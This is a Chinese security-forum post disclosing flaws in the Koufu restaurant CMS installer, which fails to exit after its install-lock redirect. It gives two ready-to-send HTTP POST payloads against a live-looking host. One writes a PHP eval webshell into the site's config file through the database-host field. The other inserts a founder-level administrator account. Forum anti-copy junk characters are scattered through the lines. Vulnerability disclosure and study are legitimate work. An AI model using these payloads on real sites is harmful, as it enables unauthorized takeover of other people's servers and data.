找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2072|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
$ s: |2 T. R# V3 W- R& G1 h9 V' A2 J' S% ~0 P/ m  p1 q8 m+ u) G1 Y
<?php4 l& U# j/ A7 y# J( X1 @3 ~
if(file_exists("../install.lock"))$ @! D$ v( A6 v, ]. {
{8 j4 ~2 M: T/ |$ e* X% J. V
    header("Location: ../");//没有退出
4 ?# E  H! b* o9 ?3 N}
4 Y$ o8 v# Q( J2 `               
8 t4 Q9 S/ U3 s0 Z% t//echo 'tst';exit;  M6 @# a9 q9 g
require_once("init.php");. s; _. o( w! V! F
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
" }4 h5 Y8 K$ _* R  ]7 t9 F& I4 p7 p{
' s  T6 w# U; T0 `8 N可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
4 B: W5 C6 Z+ w( t5 `
* S9 j& P9 Z  r, R& R7 W1、getshell(很危险)
' S+ E+ C  {* ?3 F8 gif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
/ s, F2 |2 y- z! e+ `{
0 P4 o5 o& T# t- g$smarty->assign("step",1);, G5 C% N) Z' ?  u  P$ r9 B" p
$smarty->display("index.html");4 r7 V  ]+ ~8 Z2 d; i
}elseif($_REQUEST['step']==2)- I2 |# o& ?  q; M4 U
{6 H( Z5 |: ~) i$ Z( B: m8 H& D
    $mysql_host=trim($_POST['mysql_host']);
) ?( k1 B% m4 e; E# k! B    $mysql_user=trim($_POST['mysql_user']);
% h; l2 C  C3 b$ [. h1 ^+ T    $mysql_pwd=trim($_POST['mysql_pwd']);0 I' @- z3 A/ D5 V& X& K
    $mysql_db=trim($_POST['mysql_db']);. X4 E' O& m6 ]  K/ p0 d
    $tblpre=trim($_POST['tblpre']);! i4 k6 E4 P# \8 G) S1 ^% q! s
    $domain==trim($_POST['domain']);) t0 r$ T; j5 S' z# _0 Z
    $str="<?php \r\n";
/ S+ d1 W" `$ N4 u    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";. M8 }* M) s; Y
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";' a3 R% _$ R  S( U. O7 E
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
7 m( ]2 B) \4 G2 I7 K    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
5 h6 Z" a9 [- m  M    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";* `; g% l0 f0 F1 A
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
. M( X$ o+ ?; q7 Q    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
8 |# u6 ]$ Z; }% B. B1 k) E, Y    $str.='define("SKINS","default");'."\r\n";$ I# M8 X& v  s6 l
    $str.='?>';
3 c( l: K9 b2 Q5 G& N" B, I    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件& _$ H4 i' M# D: [1 A0 i3 I
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马5 s8 C% R  L8 c* v" Q/ c" z4 ]
POST /canting/install/index.php?m=index&step=2 HTTP/1.1* N+ S* j" }/ x
Host: 192.168.80.129, r& x: `6 |5 Y% P5 [' v
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
+ n5 K8 [3 t3 N' c8 z4 M4 B/ eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8: l* Q5 ?$ ^! Y( p- K
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.34 F( k; e  r; L* J
Accept-Encoding: gzip, deflate2 O3 J) G  w4 n
Referer: http://192.168.80.129/canting/install/index.php?step=1
! B# @" U$ q; m2 Q& h( f3 b5 cCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42% `& j4 D4 j' @
Content-Type: application/x-www-form-urlencoded' U( y5 p. [" K, _: }: G
Content-Length: 126
& D' M  {6 `6 B: D  M          * G" i! }2 c0 w+ I% E% y9 M9 E
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD5 Y" O4 {  O6 T/ O3 O
但是这个方法很危险,将导致网站无法运行。7 ^% t  U* G' l, S& R0 C# t  M
# ]0 C: T# ~% F: s, u: a$ x
2、直接添加管理员
: y6 r6 C+ }5 d8 ^1 Y( ^% k: W5 h! |$ p* ?/ {
elseif($_REQUEST['step']==5)' y6 [! \: K6 W
{
. K; C8 Y; M' `7 x, t6 n; ^+ _    if($_POST)$ z  q% W% f( Y4 @" M
    {   require_once("../config/config.inc.php");* X9 C$ S2 S  ?  s2 j* b, K
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);& Y" l, x& a+ k4 |  W& x
        mysql_select_db(MYSQL_DB,$link);% O1 P1 z2 l( Q6 j6 V/ [  S/ A& t
        mysql_query("SET NAMES ".MYSQL_CHARSET );
) D% ~6 k9 f6 z1 e; b         mysql_query("SET sql_mode=''");2 M- R& c( g6 N

# L! }; P3 D6 g/ z1 Q, `9 ^ $adminname=trim($_POST['adminname']);
# Q! ^3 f% [8 L( r& S1 l/ R. }7 F        $pwd1=trim($_POST['pwd1']);1 X* I* I* ^# p( V/ F
        $pwd2=trim($_POST['pwd2']);
4 V% m8 q) G+ {  Q1 }! a        if(empty($adminname)); S! O3 _4 ?, o5 i
        {% L% k& E* l& x% A# {

# E; x# m7 P! _! ` echo "<script>alert('管理员不能为空');history.go(-1);</script>";
% ~6 c4 M8 s9 q$ i            exit();
2 `% H" g" P4 a3 a        }! i6 q+ d( E* W6 X
        if(($pwd1!=$pwd2) or empty($pwd1))
$ r! K: d  b0 k' u- _" h        {: @; p5 @, Q# P( t6 F9 y! I9 H, E4 u
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出+ u1 M0 Z* W6 A- J6 u" A2 Y
        }
- s3 S( t, L3 L' {9 e5 g& P        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
, B1 K% Y! X( k9 H( R6 X    }
1 o) D3 B8 P* D# ^, y2 A这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:" D( m$ Q9 ~# h, M- ]1 I
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
" j. B, X9 i! u& O$ |Host: 192.168.80.129
" D% E% F* \1 z& zUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
$ U5 u% A$ X  k- Z2 FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.84 [" |8 Q* y! v" ^4 D% E
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3+ _0 ~, a1 V9 l' K
Accept-Encoding: gzip, deflate) m  z  a  m, n9 w& m
Referer: http://www.2cto.com /canting/install/index.php?step=1
9 ^# F/ f5 }2 M0 B# G9 A  {Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
% N; c$ \2 r: x7 ]  |4 ?& MContent-Type: application/x-www-form-urlencoded
- ~* b, L7 x7 ]' h( Y' L4 b, FContent-Length: 462 g1 V1 ^$ q* k( p. P
      3 F6 o9 @. a. v9 J; y. O
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​2 ^% F1 {  o+ M* [7 e" }# @7 G* M7 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表